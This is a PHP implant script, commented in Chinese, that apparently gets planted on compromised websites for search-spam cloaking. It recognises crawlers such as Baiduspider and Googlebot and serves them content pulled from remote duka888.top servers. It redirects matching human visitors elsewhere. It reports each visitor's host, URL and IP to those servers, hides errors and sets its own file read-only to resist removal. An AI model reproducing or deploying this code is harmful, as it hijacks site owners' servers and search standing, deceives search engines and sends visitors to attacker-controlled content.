<?php
error_reporting(0);
set_time_limit(0);
@chmod(__FILE__, 0444);

function aliang_sv($aliang_k)
{
    return isset($_SERVER[$aliang_k]) ? $_SERVER[$aliang_k] : '';
}

function aliang_client_ip()
{
    $aliang_ip = aliang_sv('REMOTE_ADDR');

    if (aliang_sv('HTTP_X_FORWARDED_FOR') != '') {
        $aliang_xff = aliang_sv('HTTP_X_FORWARDED_FOR');
        $aliang_arr = explode(',', $aliang_xff);

        if (isset($aliang_arr[0]) && trim($aliang_arr[0]) != '') {
            $aliang_ip = trim($aliang_arr[0]);
        }
    } elseif (aliang_sv('HTTP_X_REAL_IP') != '') {
        $aliang_ip = aliang_sv('HTTP_X_REAL_IP');
    }

    return $aliang_ip;
}

function aliang_httpPasserj($aliang_url)
{
    $aliang_ch = curl_init();

    curl_setopt($aliang_ch, CURLOPT_URL, $aliang_url);
    curl_setopt($aliang_ch, CURLOPT_USERAGENT, aliang_sv('HTTP_USER_AGENT'));
    curl_setopt($aliang_ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($aliang_ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($aliang_ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($aliang_ch, CURLOPT_HEADER, 0);
    curl_setopt($aliang_ch, CURLOPT_TIMEOUT, 6);

    $aliang_output = curl_exec($aliang_ch);

    curl_close($aliang_ch);

    return $aliang_output;
}

function aliang_match_one($aliang_text, $aliang_arr)
{
    $aliang_text = strtolower($aliang_text);

    foreach ($aliang_arr as $aliang_v) {
        $aliang_v = strtolower($aliang_v);

        if ($aliang_v != '' && strpos($aliang_text, $aliang_v) !== false) {
            return $aliang_v;
        }
    }

    return '';
}

function aliang_build_url($aliang_base, $aliang_spider, $aliang_ref)
{
    $aliang_u = aliang_sv('REQUEST_URI') . '=ip=' . aliang_client_ip();

    return $aliang_base
        . '?site_type=lhlh&type=jsc'
        . '&spider=' . urlencode($aliang_spider)
        . '&ref=' . urlencode($aliang_ref)
        . '&domain=' . urlencode(aliang_sv('HTTP_HOST'))
        . '&url=' . urlencode($aliang_u);
}

function aliang_handle_upstream($aliang_httphtml)
{
    if ($aliang_httphtml == '') {
        return false;
    }

    $aliang_allhttphtml = explode('####', $aliang_httphtml);
    $aliang_content = isset($aliang_allhttphtml[0]) ? $aliang_allhttphtml[0] : '';
    $aliang_jumpUrl = isset($aliang_allhttphtml[1]) ? trim($aliang_allhttphtml[1]) : '';
    $aliang_status  = isset($aliang_allhttphtml[2]) ? intval(trim($aliang_allhttphtml[2])) : 0;

    if ($aliang_status == 404) {
        return false;
    }

    if ($aliang_jumpUrl != '') {
        if ($aliang_status == 301) {
            header('HTTP/1.1 301 Moved Permanently');
        } elseif ($aliang_status == 302) {
            header('HTTP/1.1 302 Found');
        } elseif ($aliang_status == 307) {
            header('HTTP/1.1 307 Temporary Redirect');
        } elseif ($aliang_status == 308) {
            header('HTTP/1.1 308 Permanent Redirect');
        } else {
            header('HTTP/1.1 302 Found');
        }

        header('Location: ' . $aliang_jumpUrl);
        return true;
    }

    header('Content-Type:text/html;charset=utf-8');
    echo $aliang_content != '' ? $aliang_content : $aliang_httphtml;

    return true;
}

/*
 * 白名单蜘蛛
 * 注意：这里不要放 bot / spider 这种泛词
 */
$aliang_allowSpiders = array(
    'baiduspider',
    'googlebot',
    'bingbot',
    '360spider',
    'haosouspider',
    'sogou web spider',
    'sogouspider',
    'sogou',
    'yisouspider',
    'smspider',
    'bytespider'
);

/*
 * 泛蜘蛛
 * 只用来判断乱蜘蛛，不作为白名单
 */
$aliang_botWords = array(
    'bot',
    'spider'
);

/*
 * 来源短匹配
 */
$aliang_refesString = array(
    'baidu.com',
    'sogou.com',
    'so.com',
    '360.cn',
    'sm.cn',
    'toutiao.com',
    'google.com',
    'bing.com',
    'yahoo.com'
);

$aliang_uri = aliang_sv('REQUEST_URI');
$aliang_ua  = strtolower(aliang_sv('HTTP_USER_AGENT'));
$aliang_ref = strtolower(aliang_sv('HTTP_REFERER'));

$aliang_area = (
    stristr($aliang_uri, '?ar') !== false ||
    stristr($aliang_uri, 'detail') !== false ||
    stristr($aliang_uri, '?news') !== false ||
    stristr($aliang_uri, '?app') !== false ||
    stristr($aliang_uri, '?0') !== false ||
    stristr($aliang_uri, 'duka') !== false ||
    (
        stristr($aliang_uri, '/ar') !== false &&
        (
            stristr($aliang_uri, '.shtml') !== false ||
            stristr($aliang_uri, '.html') !== false
        )
    )
);

$aliang_spider_name = aliang_match_one($aliang_ua, $aliang_allowSpiders);
$aliang_bot_name    = aliang_match_one($aliang_ua, $aliang_botWords);
$aliang_ref_name    = aliang_match_one($aliang_ref, $aliang_refesString);

if ($aliang_ref_name == '') {
    $aliang_ref_name = 'direct';
}

/*
 * 是否蜘蛛：
 * 白名单命中，或者 bot/spider 泛词命中，都算蜘蛛
 */
$aliang_is_spider = false;

if ($aliang_spider_name != '' || $aliang_bot_name != '') {
    $aliang_is_spider = true;
}

/*
 * 主逻辑：
 *
 * 1. 是蜘蛛：
 *    1.1 白名单蜘蛛：
 *        - 命中规则：走 ceshi
 *        - 不命中规则：走 al
 *    1.2 非白名单蜘蛛：
 *        - 不处理，继续原站
 *
 * 2. 不是蜘蛛：
 *    2.1 命中规则：走 gg
 *    2.2 不命中规则：不处理，继续原站
 */
if ($aliang_is_spider) {

    if ($aliang_spider_name != '') {

        if ($aliang_area) {

            $aliang_httphtml = aliang_httpPasserj(
                aliang_build_url(
                    'http://ceshi.jsc.duka888.top/duka_base.php',
                    $aliang_spider_name,
                    $aliang_ref_name
                )
            );

            if (aliang_handle_upstream($aliang_httphtml)) {
                exit;
            }

        } else {

            $aliang_al_html = aliang_httpPasserj(
                aliang_build_url(
                    'http://al.duka888.top/al_base.php',
                    $aliang_spider_name,
                    $aliang_ref_name
                )
            );

            aliang_handle_upstream($aliang_al_html);
            // 写出 al 后，不结束，继续放行原站逻辑
        }
    }

    /*
     * 非白名单蜘蛛：
     * 不处理，继续原站
     */

} else {

    // 非蜘蛛用户命中规则
    if ($aliang_area) {

        $aliang_httphtml = aliang_httpPasserj(
            aliang_build_url(
                'http://gg.jsc.duka888.top/gg_base.php',
                str_replace(array(' ', "\t", "\r", "\n"), '', strtolower(aliang_sv('HTTP_USER_AGENT'))),
                $aliang_ref_name
            )
        );

        if (aliang_handle_upstream($aliang_httphtml)) {
            exit;
        }
    }

    // 不结束，继续放行原站逻辑
}
?>